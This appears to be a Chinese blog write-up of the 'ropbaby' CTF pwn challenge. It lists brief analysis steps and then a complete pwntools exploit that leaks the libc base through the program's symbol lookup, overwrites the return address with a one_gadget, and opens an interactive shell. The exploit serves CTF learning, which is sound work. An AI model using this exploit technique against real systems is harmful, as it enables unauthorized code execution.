1.实验吧_ropbaby(西普杯CTF)_onegadget

最新推荐文章于 2022-10-29 12:13:06 发布

Jc^

最新推荐文章于 2022-10-29 12:13:06 发布

阅读量478

点赞数

CC 4.0 BY-SA版权

分类专栏：赛事复现文章标签： ropbaby one_gadget

本文链接：https://blog.youkuaiyun.com/qq_42037374/article/details/90576476

赛事复现专栏收录该内容

9 篇文章

订阅专栏

博客主要围绕ROP漏洞展开分析。首先查看文件位数和安全机制，接着查看strings及调用函数，尤其关注常见函数，找出漏洞点，最后涉及EXP编写。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

分析
1.先查看文件位数，安全机制
2.查看strings，调用函数（特别注意常见的函数）
漏洞点
EXP

from pwn import *
context.log_level = "debug"

p = process('./ropbaby')

p.recvuntil(': ')
p.sendline('2')
p.recvuntil('Enter symbol: ')
p.sendline('system')
a=p.recvline()
libc = a.split(': ')[-1]
lib=int(libc,16) - 0x45390
log.success('libc : %#x',lib)
onegadget =0x45216+lib

p.recvuntil(': ')
p.sendline('3')
p.recvuntil('(max 1024): ')
p.sendline('17')
p.sendline('a'*8 + p64(onegadget))
p.recvuntil(': ')  
p.sendline('4')  #让题目正常退出
p.interactive()